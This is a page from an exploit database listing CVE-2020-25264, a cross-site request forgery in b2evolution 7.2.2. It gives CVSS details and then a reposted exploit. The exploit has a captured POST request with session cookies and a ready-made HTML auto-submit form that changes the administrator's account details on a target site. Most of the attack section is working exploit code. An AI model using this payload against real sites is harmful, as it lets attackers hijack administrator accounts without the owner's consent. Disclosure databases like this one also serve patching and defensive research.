Exploitalert - Database of Exploits

b2evolution 7.2.2 Cross Site Request Forgery

CVE	Category	Price	Severity
CVE-2020-25264	CWE-352	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2021-07-02

CVSS	EPSS	EPSSP
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2021070001

b2evolution 7.2.2 Cross Site Request Forgery

# Exploit Title: b2evolution 7.2.2 - 'edit account details' Cross-Site Request Forgery (CSRF) # Exploit Author: Alperen Ergel (@alpernae) # Vendor Homepage: https://b2evolution.net/ # Software Link: https://b2evolution.net/downloads/7-2-2 # Version : 7.2.2 # Tested on: Kali Linux # Category: WebApp ######## Description ######## Allows to attacker change admin account details. ######## Proof of Concept ######## ===> REQUEST <==== POST /b2evolution/evoadm.php HTTP/1.1 Host: s2.demo.opensourcecms.com Cookie: session_b2evo=1387_5XjmCda2lrphrrPvEEZqHq0CANmMmGDt; __cmpconsentx19318=CPIqFKEPIqFKEAfUmBENBgCsAP_AAH_AAAYgG9tf_X_fb3_j-_59__t0eY1f9_7_v-0zjheds-8Nyd_X_L8X_2M7vB36pr4KuR4ku3bBAQdtHOncTQmx6IlVqTPsb02Mr7NKJ7PEmlsbe2dYGH9_n9XT_ZKZ79_____7________77______3_v__9-BvbX_1_329_4_v-ff_7dHmNX_f-_7_tM44XnbPvDcnf1_y_F_9jO7wd-qa-CrkeJLt2wQEHbRzp3E0JseiJVakz7G9NjK- zSiezxJpbG3tnWBh_f5_V0_2Sme_f____-________--______9_7___fgAAA; __cmpcccx19318=aBPIqFKEgAADAAXAA0AB4AQ4DiQKnAAA; _ga=GA1.2.1294565572.1625137627; _gid=GA1.2.967259237.1625137627; __gads=ID=b3a3eb6f723d6f76-2210340b6fc800b7:T=1625137656:RT=1625137656:S=ALNI_MaB1e9iPH5NWYZhtIxGIyqg8LXMOA User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 1031 Origin: https://s2.demo.opensourcecms.com Referer: https://s2.demo.opensourcecms.com/b2evolution/evoadm.php?blog=1&ctrl=user&user_tab=profile&user_ID=1&action=edit&user_tab=profile Upgrade-Insecure-Requests: 1 Te: trailers Connection: close ## < SNIPP > edited_user_login=opensourcecms&edited_user_firstname=Hacker&edited_user_lastname=Hacker&edited_user_nickname=demo&edited_user_gender=M&edited_user_ctry_ID=233&edited_user_rgn_ID=&edited_user_subrg_ID=&edited_user_city_ID= &edited_user_age_min=&edited_user_age_max=&edited_user_birthday_month=&edited_user_birthday_day=&edited_user_birthday_year=&organizations%5B%5D=1&org_roles%5B%5D=King+of+Spades&org_priorities%5B%5D=&uf_1=I+am+the+demo+administrator+of+this+site.%0D%0AI+love+having+so+much+power%21&uf_new%5B2%5D%5B%5D= &uf_new%5B3%5D%5B%5D=&uf_2=https%3A%2F%2Ftwitter.com%2Fb2evolution%2F&uf_3=https%3A%2F%2Fwww.facebook.com%2Fb2evolution&uf_4=https%3A%2F%2Fplus.google.com%2F%2Bb2evolution%2Fposts&uf_5=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fb2evolution-net&uf_6=https%3A%2F%2Fgithub.com%2Fb2evolution%2Fb2evolution&uf_7= http%3A%2F%2Fb2evolution.net%2F&new_field_type=0&actionArray%5Bupdate%5D=Save+Changes%21&crumb_user=zNkyQhORGCWRoCFgM0JhdvYkrqnYpCOl&ctrl=user&user_tab=profile&identity_form=1&user_ID=1&orig_user_ID=1 #### Proof-Of-Concept #### <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://s2.demo.opensourcecms.com/b2evolution/evoadm.php" method="POST"> <input type="hidden" name="edited_user_login" value="CHANGEHERE" /> <input type="hidden" name="edited_user_firstname" value="CHANGEHERE" /> <input type="hidden" name="edited_user_lastname" value="CHANGEHERE" /> <input type="hidden" name="edited_user_nickname" value="CHANGEHERE" /> <input type="hidden" name="edited_user_gender" value="M" /> <input type="hidden" name="edited_user_ctry_ID" value="233" /> <input type="hidden" name="edited_user_rgn_ID" value="" /> <input type="hidden" name="edited_user_subrg_ID" value="" /> <input type="hidden" name="edited_user_city_ID" value="" /> <input type="hidden" name="edited_user_age_min" value="" /> <input type="hidden" name="edited_user_age_max" value="" /> <input type="hidden" name="edited_user_birthday_month" value="" /> <input type="hidden" name="edited_user_birthday_day" value="" /> <input type="hidden" name="edited_user_birthday_year" value="" /> <input type="hidden" name="organizations[]" value="1" /> <input type="hidden" name="org_roles[]" value="King of Spades" /> <input type="hidden" name="org_priorities[]" value="" /> <input type="hidden" name="uf_1" value="I am the demo administrator of this site. I love having so much power!" /> <input type="hidden" name="uf_new[2][]" value="" /> <input type="hidden" name="uf_new[3][]" value="" /> <input type="hidden" name="uf_2" value="https://twitter.com/b2evolution/" /> <input type="hidden" name="uf_3" value="https://www.facebook.com/b2evolution" /> <input type="hidden" name="uf_4" value="https://plus.google.com/+b2evolution/posts" /> <input type="hidden" name="uf_5" value="https://www.linkedin.com/company/b2evolution-net" /> <input type="hidden" name="uf_6" value="https://github.com/b2evolution/b2evolution" /> <input type="hidden" name="uf_7" value="http://b2evolution.net/" /> <input type="hidden" name="new_field_type" value="0" /> <input type="hidden" name="actionArray[update]" value="Save Changes!" /> <input type="hidden" name="crumb_user" value="zNkyQhORGCWRoCFgM0JhdvYkrqnYpCOl" /> <input type="hidden" name="ctrl" value="user" /> <input type="hidden" name="user_tab" value="profile" /> <input type="hidden" name="identity_form" value="1" /> <input type="hidden" name="user_ID" value="1" /> <input type="hidden" name="orig_user_ID" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Impressum